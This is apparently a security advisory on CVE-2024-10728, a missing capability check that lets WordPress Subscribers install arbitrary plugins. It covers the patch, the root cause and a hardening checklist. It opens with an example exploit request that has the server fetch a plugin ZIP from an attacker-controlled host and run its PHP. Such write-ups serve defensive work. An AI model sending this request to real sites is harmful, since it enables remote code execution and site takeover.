The Exploit
An authenticated WordPress user with Subscriber role or above can install and activate arbitrary plugins without administrative permission.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.wordpress.local
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in=<subscriber_session>
action=ultp_install_required_plugin_callback&wpnonce=<valid_nonce>&plugin_url=https://attacker.com/malicious-plugin.zip&plugin_slug=malicious-plugin
The server responds with a success JSON payload and begins downloading and extracting the attacker-controlled plugin ZIP. Within seconds, arbitrary PHP code from the plugin executes in the WordPress context with the permissions of the web server process.
What the Patch Did
Before
public function install_required_plugin_callback() {
if ( !wp_verify_nonce( sanitize_key( wp_unslash($_REQUEST['wpnonce']) ), 'ultp-nonce') ) {
return '';
}
After
public function install_required_plugin_callback() {
if ( !current_user_can('install_plugins') ) {
return wp_send_json_success('You are not allowed to install plugin');
}
if ( !wp_verify_nonce( sanitize_key( wp_unslash($_REQUEST['wpnonce']) ), 'ultp-nonce') ) {
return '';
}
The patch adds a capability check using current_user_can('install_plugins') before the nonce verification. This WordPress API function queries the current user's role and determines whether they hold the install_plugins capability — a privilege reserved by default for Administrators only. The fix places this check as the first guard in the function, ensuring that even if an attacker possesses a valid CSRF nonce (obtained by tricking an admin into visiting a malicious page), a Subscriber cannot proceed.
Root Cause
CWE-862: Missing Authorization (also categorized as improper access control, CWE-284). The vulnerable install_required_plugin_callback() method is exposed as a WordPress AJAX action via the action=ultp_install_required_plugin_callback parameter in $_REQUEST. The function receives plugin metadata (slug, URL) in the same request, but verifies only the CSRF nonce—a check that proves the request came from an authenticated session, not that the session holder has permission to install plugins. The dataflow is: user-supplied wpnonce parameter → wp_verify_nonce() check → plugin installation proceeds without role validation → arbitrary code execution. The trust boundary crossed is the one between "user is logged in" and "user may manage plugins," which the original code conflates.
Why It Works
The load-bearing line is if ( !current_user_can('install_plugins') ). Without it, the nonce check alone is insufficient: a nonce proves authenticity, not authorization. A nonce is typically long-lived and reusable within a session; an admin visiting a compromised website can leak it in the Referer header or via a stored XSS gadget elsewhere on the site. Removing the capability check resurrects the vulnerability immediately. The engineer added the JSON response (wp_send_json_success()) to maintain backward compatibility and fail gracefully for legitimate low-privilege users, rather than silently returning an empty string. The nonce check remains essential as a secondary defense (CSRF protection for authorized users), but it is not a substitute for capability validation.
Hardening Checklist
-
Audit all AJAX handlers for capability checks: grep the codebase for
add_action(..., 'wp_ajax_')and verify each callback begins withcurrent_user_can()appropriate to the operation. Plugin installation requires'install_plugins'; data export requires'export'; options management requires'manage_options'. -
Use role-based constants instead of magic strings: define
REQUIRE_INSTALL_PLUGINS = 'install_plugins'at the top of sensitive methods to prevent typos and enable static analysis. -
Never rely on nonce verification alone for authorization: nonces prevent CSRF, not privilege escalation. Structure guards as: capability check first (binary allow/deny), then nonce check (CSRF proof), then input sanitization (defense against injection).
-
Log all capability denials: wrap capability checks with
error_log()or a custom audit function to alert admins to privilege-escalation attempts. Example:if ( !current_user_can('install_plugins') ) { error_log('User ID ' . get_current_user_id() . ' attempted plugin install without capability.'); }. -
Implement a plugin allowlist for automated installs: if the plugin legitimately auto-installs dependencies, maintain a curated list of allowed plugin slugs and verify the requested slug against it before downloading, rather than trusting user input.
References
- https://nvd.nist.gov/vuln/detail/CVE-2024-10728